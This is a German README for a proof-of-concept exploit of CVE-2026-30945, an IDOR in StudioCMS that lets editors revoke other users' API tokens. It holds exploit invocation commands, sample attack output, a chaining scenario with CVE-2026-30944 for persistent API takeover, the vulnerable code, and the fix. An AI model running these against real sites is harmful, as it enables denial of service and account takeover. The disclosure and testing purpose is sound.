
Proof-of-Concept-Exploit für CVE-2026-30945, eine IDOR-Schwachstelle in StudioCMS, die das willkürliche Widerrufen von API-Tokens und Denial of Service ermöglicht. Enthält manuelle und automatisierte Testmodi.
StudioCMS IDOR — Willkürlicher API-Token-Widerruf mit Denial-of-Service-Folge
Der Endpunkt DELETE /studiocms_api/dashboard/api-tokens in StudioCMS ≤ 0.3.0 erlaubt jedem authentifizierten Benutzer mit Editor-Rechten oder höher, API-Tokens zu widerrufen, die jedem anderen Benutzer gehören, einschließlich admin- und owner-Konten.
Der Handler übernimmt tokenID und userID direkt aus der Request-Payload, ohne die Token-Inhaberschaft, die Identität des Aufrufers oder die Rollenhierarchie zu überprüfen. Dies ermöglicht einen gezielten Denial of Service gegen kritische Integrationen und Automatisierungen.
Verwandt: Diese Schwachstelle teilt sich dieselbe Grundursache wie CVE-2026-30944 (Token-Generierungs-IDOR). In Kombination kann ein Angreifer legitime Tokens widerrufen und neue generieren, was eine vollständige Übernahme der API-Zugangsdaten ermöglicht.
┌──────────────┐ DELETE /api-tokens ┌──────────────┐
│ │ {"tokenID":"<id>", │ │
│ Angreifer │ "userID":"<owner-id>"} │ StudioCMS │
│ (Editor) │ ──────────────────────────► │ Server │
│ │ │ │
│ │ ◄────────────────────────── │ │
└──────────────┘ {"message":"Token deleted"} └──────────────┘
│
▼
┌──────────────┐
│ CI/CD- │
│ Pipeline │
│ des Owners │──► ❌ 401 Unauthorized
│ Integration │──► ❌ API-Zugriff verloren
│ Monitoring │──► ❌ Stiller Ausfall
└──────────────┘
| Feld | Wert |
|---|---|
| CVE | CVE-2026-30945 |
| GHSA | GHSA-8rgj-vrfr-6hqr |
| CVSS v3.1 | 7.1 (Hoch) — AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H |
| CWE | CWE-639: Autorisierungsumgehung durch benutzergesteuerten Schlüssel |
| CWE (sekundär) | CWE-863: Falsche Autorisierung |
| MITRE ATT&CK | T1531 — Entfernung des Kontozugriffs |
| OWASP API | API1:2023 — Broken Object Level Authorization |
| Betroffen | studiocms ≤ 0.3.0 |
| Behoben in | studiocms 0.4.0 |
| Datei | Beschreibung |
|---|---|
cve_2026_30945_poc.py | Python-Exploit-Skript mit manuellem und automatisiertem Modus |
README.md | Diese Datei |
LICENSE | MIT-Lizenz |
Editor-Kontopip install requests colorama
# Ein bestimmtes Token des Owners widerrufen
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
# Mit CVE-2026-30944 verketten: zuerst ein Token für das Ziel erstellen
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1
# Ergebnisse als JSON speichern
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--username editor01 \
--password editorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc \
--save
# Mit mehreren Rollen testen
python3 cve_2026_30945_poc.py \
-u http://localhost:4321 \
--auto-test \
--editor-user editor01 \
--editor-pass editorpass \
--visitor-user visitor01 \
--visitor-pass visitorpass \
--target-uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
--token-id 16a2e549-513b-40ac-8ca3-858af6118afc
| Argument | Beschreibung |
|---|---|
-u, --url | Ziel-StudioCMS-Basis-URL |
--target-uuid | UUID des Zielbenutzers, dessen Token widerrufen werden soll |
| Argument | Beschreibung |
|---|---|
--token-id | Interne Token-Datensatz-UUID, die widerrufen werden soll (nicht das JWT). Wenn ausgelassen, versucht das Skript zuerst, ein Token über CVE-2026-30944 zu erstellen |
| Argument | Beschreibung |
|---|---|
--username | Benutzername für die Authentifizierung |
--password | Passwort für die Authentifizierung |
| Argument | Beschreibung |
|---|---|
--auto-test | Automatisierte Multi-Rollen-Tests aktivieren |
--editor-user | Benutzername des Editor-Kontos |
--editor-pass | Passwort des Editor-Kontos |
--visitor-user | Benutzername des Besucher-Kontos |
--visitor-pass | Passwort des Besucher-Kontos |
| Argument | Beschreibung |
|---|---|
--save | Ergebnisse als JSON-Datei speichern |
--no-ssl-verify | SSL-Zertifikatsprüfung deaktivieren |
──────────────────────────────────────────────────────────
PHASE 1: Authentifizierung
──────────────────────────────────────────────────────────
[+] Als 'editor01' authentifiziert
[*] Sitzungsbenutzer: editor01 (editor)
[*] Sitzungs-UUID: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c
──────────────────────────────────────────────────────────
PHASE 3: Token-Widerruf (IDOR)
──────────────────────────────────────────────────────────
[*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token-ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] API-Token des Ziels wird widerrufen...
[+] Token widerrufen! Serverantwort: Token deleted
[!] SCHWACHSTELLE BESTÄTIGT — Token erfolgreich widerrufen!
[!] API-Integrationen des Zielbenutzers sind jetzt defekt (DoS)
──────────────────────────────────────────────────────────
PHASE 3: Token-Widerruf (IDOR)
──────────────────────────────────────────────────────────
[*] Ziel-UUID: 2450bf33-0135-4142-80be-9854f9a5e9f1
[*] Token-ID: 16a2e549-513b-40ac-8ca3-858af6118afc
[*] API-Token des Ziels wird widerrufen...
[*] Zugriff verweigert (403 Forbidden) — Endpunkt wurde möglicherweise gepatcht
[-] Widerruf fehlgeschlagen: Zugriff verweigert (403 Forbidden)
In Kombination mit dem Token-Generierungs-IDOR (CVE-2026-30944) kann ein Angreifer eine vollständige Übernahme der API-Zugangsdaten durchführen:
Schritt 1: Legitimes Token des Owners widerrufen (CVE-2026-30945)
└──► CI/CD-Pipelines des Owners fallen still aus
Schritt 2: Neues Token für den Owner generieren (CVE-2026-30944)
└──► Angreifer hat jetzt API-Zugriff auf Owner-Ebene
Schritt 3: Owner erstellt ein neues Token zur Behebung
└──► Angreifer widerruft es erneut (anhaltender DoS)
Dies erzeugt ein Szenario, in dem der Angreifer die dauerhafte Kontrolle über den API-Zugriff des Owners behält, indem er wiederholt alle neuen Tokens widerruft, die der Owner erstellt, während er gleichzeitig seinen eigenen unrechtmäßigen Zugriff aufrechterhält.
Der verwundbare Handler unter packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (Zeilen 58–99) übernimmt tokenID und userID aus dem Request-Body und übergibt sie direkt an die Löschfunktion, ohne jegliche Autorisierungsprüfungen:
// [1] Prüft nur, ob der Aufrufer Editor ist — nicht, FÜR WEN Tokens gelöscht werden
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;
// [2] Beide Werte aus dem Request-Body — keine Validierung gegen die Sitzung
const jsonData = yield* readAPIContextJson<{
tokenID: string; // Keine Inhaberschaftsprüfung
userID: string; // Keine Identitätsprüfung
}>(ctx);
// [3] Direkt an destruktive Operation übergeben — IDOR
yield* sdk.REST_API.tokens.delete({ tokenId: jsonData.tokenID, userId: jsonData.userID });
Der Handler weist fünf verschiedene Schwachstellen auf: unzureichende Berechtigungsprüfung, keine Validierung der Token-Inhaberschaft, fehlende Identitätsprüfung des Aufrufers, keine Durchsetzung der Rollenhierarchie und direkte Durchreichung benutzergesteuerter Werte an eine destruktive Operation.
StudioCMS auf Version 0.4.0 oder neuer aktualisieren:
npm install studiocms@latest
Dieses Tool wird ausschließlich für Bildungszwecke und autorisierte Sicherheitstests bereitgestellt.
Filipe Gaudard
Dieser PoC wird unter der MIT-Lizenz für Bildungszwecke veröffentlicht. Verwenden Sie ihn verantwortungsvoll und ethisch.